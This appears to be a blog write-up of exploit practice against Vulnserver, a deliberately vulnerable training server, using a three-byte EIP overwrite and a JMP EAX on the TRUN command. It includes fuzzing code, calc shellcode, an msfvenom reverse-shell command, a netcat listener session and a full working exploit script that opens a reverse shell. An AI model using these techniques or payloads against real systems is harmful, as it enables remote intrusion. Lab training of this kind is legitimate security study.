For my vulnserver TRUN exploit, I decided to use a three byte overwrite to jump to EAX.

Three Byte Overwrite (Vulnserver TRUN) - Introduction

As I mentioned in my earlier post, I am going through vulnserver for OSCE/binary exploitation practice.

Note that most write-ups for this command will perform a vanilla EIP overwrite and JMP ESP. That said, I wanted to try something different for my first attempt, to challenge myself.

Note: I apologize for the IP address switching mid post, but I changed my network setup.

With that in mind, I fired up Immunity and got to work!

Fuzzing Vulnserver

First, I fuzzed the application to find the initial vulnerability.

I used the following Boofuzz template to fuzz the "TRUN" command.

from boofuzz import * host = "192.168.1.35" port = 9999 def main(): session = Session(target = Target(connection = SocketConnection(host, port, proto='tcp'))) s_initialize("Request") s_string("TRUN", fuzzable = False) s_delim(" ", fuzzable = False, name = 'space-1') s_string("fuzzme") session.connect(s_get("Request")) session.fuzz() if __name__ == "__main__": main()

The application crashed right away, with only my second request.

root@kali : ~/vulnserver # python trun_fuzz.py [2018-12-30 01:51:00,108] Test Case: 1: Request.no-name.1 [2018-12-30 01:51:00,111] Info: Type: String. Default value: 'fuzzme'. Case 1 of 1441 overall. [2018-12-30 01:51:00,113] Info: Opening target connection (192.168.1.35:9999)... [2018-12-30 01:51:00,115] Info: Connection opened. [2018-12-30 01:51:00,117] Test Step: Fuzzing Node 'Request' [2018-12-30 01:51:00,122] Transmitting 5 bytes: 54 52 55 4e 20 'TRUN ' [2018-12-30 01:51:00,124] Info: 5 bytes sent [2018-12-30 01:51:00,126] Info: Closing target connection... [2018-12-30 01:51:00,129] Info: Connection closed. [2018-12-30 01:51:00,130] Test Step: Sleep between tests. [2018-12-30 01:51:00,132] Info: sleeping for 0.000000 seconds [2018-12-30 01:51:00,135] Test Case: 2: Request.no-name.2 [2018-12-30 01:51:00,146] Info: Type: String. Default value: 'fuzzme'. Case 2 of 1441 overall. [2018-12-30 01:51:00,148] Info: Opening target connection (192.168.1.35:9999)... [2018-12-30 01:51:00,150] Info: Connection opened. [2018-12-30 01:51:00,152] Test Step: Fuzzing Node 'Request' [2018-12-30 01:51:00,155] Transmitting 5011 bytes: 54 52 55 4e 20 2f 2e 3a 2f 41 41 ...<snip>... 41 41 00 00 'TRUN /.:/AA ...<snip>... AA\x00\x00' [2018-12-30 01:51:00,168] Info: 5011 bytes sent [2018-12-30 01:51:00,170] Info: Closing target connection... [2018-12-30 01:51:00,172] Info: Connection closed. [2018-12-30 01:51:00,176] Test Step: Sleep between tests. [2018-12-30 01:51:00,178] Info: sleeping for 0.000000 seconds [2018-12-30 01:51:00,180] Test Case: 3: Request.no-name.3 [2018-12-30 01:51:00,182] Info: Type: String. Default value: 'fuzzme'. Case 3 of 1441 overall. [2018-12-30 01:51:00,184] Info: Opening target connection (192.168.1.35:9999)... [2018-12-30 01:51:00,186] Info: Connection opened. [2018-12-30 01:51:00,188] Test Step: Fuzzing Node 'Request' [2018-12-30 01:51:00,193] Transmitting 5012 bytes: 54 52 55 4e 20 2f 2e 2e 2e 2f 42 42 ...<snip>... 42 42 00 00 'TRUN /.../BB ...<snip>... BB\x00\x00' [2018-12-30 01:51:00,207] Info: 5012 bytes sent [2018-12-30 01:51:00,209] Info: Closing target connection... [2018-12-30 01:51:00,211] Info: Connection closed. [2018-12-30 01:51:00,213] Test Step: Sleep between tests. [2018-12-30 01:51:00,215] Info: sleeping for 0.000000 seconds

As you can see, EIP was overwritten with the "B"s from request #2.

When I opened the Boofuzz database, I was able to see the exact request that I sent to the server.

Finding the Vulnerability

With an EIP overwrite discovered, I wrote my exploit template.

#!/usr/bin/python import socket import os import sys host = "192.168.1.35" port = 9999 buffer = "A" * 5000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) print "[+] Sending exploit..." s.send("TRUN /.../ " + buffer) print s.recv(1024) s.close()

I sent the template request to the server, to verify that it would crash.

root@kali : ~/vulnserver # python trun_exploit.py Welcome to Vulnerable Server! Enter HELP for help. [+] Sending exploit... ^CTraceback (most recent call last): File "trun_exploit.py", line 22, in print s.recv(1024) KeyboardInterrupt

As expected, EIP was overwritten with the "A"s that I sent.

Next, I used pattern_create to find the EIP overwrite offset.

root@kali : ~/vulnserver # msf-pattern_create -l 5000

When I resent the payload, EIP was overwritten with a new value (0x6f43376f)

Using pattern_offset, I was able to determine that EIP was overwritten after 2002 bytes.

root@kali : ~/vulnserver # msf-pattern_offset -l 5000 -q 6f43376f [*] Exact match at offset 2002

Finally, to verify this offset, I updated my original exploit script.

buffer = "A" * 2002 buffer += "BBBB" buffer += "C" * (5000 - len(buffer))

As expected, EIP was overwritten with 0x42424242.

At this point, EIP, EAX, and ESP were attacker controlled.

Finding Bad Characters

With the vulnerability discovered, I needed to check for any potential bad characters.

First, I updated the buffer in my payload.

for i in range(1, 256): buffer += chr(i)

As you can see from this sample, the only bad character for this attack vector was 0x00, so I wouldn't need to worry about encoding.

Jumping to EAX

First, I verified that I could control EIP with a three byte overwrite.

buffer = "A" * 2002 buffer += "BBB"

As expected, EIP was overwritten with my three "B"s, and the terminating null byte (0x00424242)

EAX contains the entirety of the sent command, including the "TRUN /.../" portion.

That said, none of the instructions from the initial command are damaging, so I was good to continue.

(TRUN /.../)

0: 00 54 52 55 add BYTE PTR [edx+edx*2+0x55],dl 4: 4e dec esi 5: 20 2f and BYTE PTR [edi],ch 7: 2e 2e 2e 2f cs cs cs das

I used the modules command in mona to see what modules had ASLR disabled and were not being rebased.

In this case, I used mona to find a jump to EAX within the vulnserver.exe binary. Due to the successful three byte overwrite, the null byte in the address space would not be an issue.

!mona find -s "\xff\xe0" -m vulnserver.exe

Once I found my jump, I updated my payload with the selected memory address.

buffer = "\xCC" * 2002 # 0x0040100c = JMP EAX buffer += "\x0c\x10\x40"

When I sent my updated exploit, I hit the breakpoint on the JMP EAX instruction.

This successfully jumped to my payload, so I was in business!

AND Access Violation

After jumping to EAX, I received an error with one of the instructions from my "TRUN" command. The system interpreted "\x20\x2f" (space followed by forward slash) as an AND [EDI], CH. That said, EDI was now zeros, so this memory could not be accessed.

I figured that I could solve this by modifying the character immediately after the space.

In this case, I added a second space, so that the instruction would be \x20\x20 instead of \x20\x2e. This would AND [EAX] against AH, which wouldn't be a problem.

After modifying my script, my exploit ran successfully all the way to my interrupts.

Three Byte Overwrite - Exploitation - Poppin' Calcs

With everything working, I added a calc shellcode to my exploit, to weaponize it.

#!/usr/bin/python import socket import os import sys host = "192.168.0.2" port = 9999 # calc buf = "" buf += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" buf += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" buf += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" buf += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" buf += "\x57\x78\x01\xc2\x8b\x7a\x20\x01" buf += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" buf += "\x45\x81\x3e\x43\x72\x65\x61\x75" buf += "\xf2\x81\x7e\x08\x6f\x63\x65\x73" buf += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" buf += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" buf += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" buf += "\xb1\xff\x53\xe2\xfd\x68\x63\x61" buf += "\x6c\x63\x89\xe2\x52\x52\x53\x53" buf += "\x53\x53\x53\x53\x52\x53\xff\xd7" buffer = ("\x90" * 16) + buf buffer += "\xcc" * (2001 - len(buffer)) # 0x0040100c = JMP EAX buffer += "\x0c\x10\x40" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) print "[+] Sending exploit..." s.send("TRUN /.../" + buffer) print s.recv(1024) s.close()

When I sent my new exploit, the application crashed, and my calculator opened!

More Issues to Overcome

With everything in place, I generated my reverse shellcode.

root@kali : ~/vulnserver/trun # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f py -b "\x00" [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of py file: 1684 bytes

With the exploit updated, I sent the new request to the server. Unfortunately, I was getting some strange access violations, and null bytes that I was not sending.

With plenty of help from Rebecca (@ranger_cha), we discovered that this was an issue with the stack.

As you can see from my (very scientific) debugging attempts, ESP and EIP are dangerously close to each other.

As it turns out, the stack ended up overwriting some of my instructions, causing larger payloads to corrupt.

In this case, I moved the stack just over 256 bytes away, to prevent this corruption.

Final Exploit - Reverse Shell

With the stack pivot in place, I updated my final payload and sent it over.

root@kali : ~/vulnserver/trun # python trun_three-bite_reverse.py Welcome to Vulnerable Server! Enter HELP for help. [+] Sending exploit... ^CTraceback (most recent call last): File "trun_three-bite_reverse.py", line 57, in print s.recv(1024) KeyboardInterrupt

Everything worked, and I received my reverse shell!

root@kali : ~/vulnserver # nc -lvp 4444 listening on [any] 4444 ... 192.168.0.2: inverse host lookup failed: Unknown host connect to [192.168.0.1] from (UNKNOWN) [192.168.0.2] 49159 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\IEUser\Downloads\vulnserver-master>whoami whoami ie8win7\ieuser

Final Code

Here is the final exploit that I used for my reverse shell.

#!/usr/bin/python import socket import os import sys host = "192.168.0.2" port = 9999 buf = "" buf += "\xbe\x97\x7c\x63\x8e\xdb\xc8\xd9\x74\x24\xf4\x5f\x2b" buf += "\xc9\xb1\x52\x31\x77\x12\x83\xef\xfc\x03\xe0\x72\x81" buf += "\x7b\xf2\x63\xc7\x84\x0a\x74\xa8\x0d\xef\x45\xe8\x6a" buf += "\x64\xf5\xd8\xf9\x28\xfa\x93\xac\xd8\x89\xd6\x78\xef" buf += "\x3a\x5c\x5f\xde\xbb\xcd\xa3\x41\x38\x0c\xf0\xa1\x01" buf += "\xdf\x05\xa0\x46\x02\xe7\xf0\x1f\x48\x5a\xe4\x14\x04" buf += "\x67\x8f\x67\x88\xef\x6c\x3f\xab\xde\x23\x4b\xf2\xc0" buf += "\xc2\x98\x8e\x48\xdc\xfd\xab\x03\x57\x35\x47\x92\xb1" buf += "\x07\xa8\x39\xfc\xa7\x5b\x43\x39\x0f\x84\x36\x33\x73" buf += "\x39\x41\x80\x09\xe5\xc4\x12\xa9\x6e\x7e\xfe\x4b\xa2" buf += "\x19\x75\x47\x0f\x6d\xd1\x44\x8e\xa2\x6a\x70\x1b\x45" buf += "\xbc\xf0\x5f\x62\x18\x58\x3b\x0b\x39\x04\xea\x34\x59" buf += "\xe7\x53\x91\x12\x0a\x87\xa8\x79\x43\x64\x81\x81\x93" buf += "\xe2\x92\xf2\xa1\xad\x08\x9c\x89\x26\x97\x5b\xed\x1c" buf += "\x6f\xf3\x10\x9f\x90\xda\xd6\xcb\xc0\x74\xfe\x73\x8b" buf += "\x84\xff\xa1\x1c\xd4\xaf\x19\xdd\x84\x0f\xca\xb5\xce" buf += "\x9f\x35\xa5\xf1\x75\x5e\x4c\x08\x1e\xa1\x39\x12\xdf" buf += "\x49\x38\x12\xce\xd5\xb5\xf4\x9a\xf5\x93\xaf\x32\x6f" buf += "\xbe\x3b\xa2\x70\x14\x46\xe4\xfb\x9b\xb7\xab\x0b\xd1" buf += "\xab\x5c\xfc\xac\x91\xcb\x03\x1b\xbd\x90\x96\xc0\x3d" buf += "\xde\x8a\x5e\x6a\xb7\x7d\x97\xfe\x25\x27\x01\x1c\xb4" buf += "\xb1\x6a\xa4\x63\x02\x74\x25\xe1\x3e\x52\x35\x3f\xbe" buf += "\xde\x61\xef\xe9\x88\xdf\x49\x40\x7b\x89\x03\x3f\xd5" buf += "\x5d\xd5\x73\xe6\x1b\xda\x59\x90\xc3\x6b\x34\xe5\xfc" buf += "\x44\xd0\xe1\x85\xb8\x40\x0d\x5c\x79\x70\x44\xfc\x28" buf += "\x19\x01\x95\x68\x44\xb2\x40\xae\x71\x31\x60\x4f\x86" buf += "\x29\x01\x4a\xc2\xed\xfa\x26\x5b\x98\xfc\x95\x5c\x89" buffer = ("\x90" * 16) # MOV ESP, EAX; SUB SP 0x104 buffer += "\x89\xc4\x66\x81\xec\x04\x01" buffer += buf buffer += "\x90" * (2001 - len(buffer)) # 0x0040100c = JMP EAX buffer += "\x0c\x10\x40" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) print "[+] Sending exploit..." s.send("TRUN /.../" + buffer) print s.recv(1024) s.close()

Three Byte Overwrite - Conclusion

While this was difficult, it was good practice for any potential curve balls the OSCE may throw at me.

I'll probably finish up and post the vanilla EIP overwrite for the TRUN command next, just for completeness.

You can find the final exploit in my GitHub repository, but let me know if you think there is anything that I should add.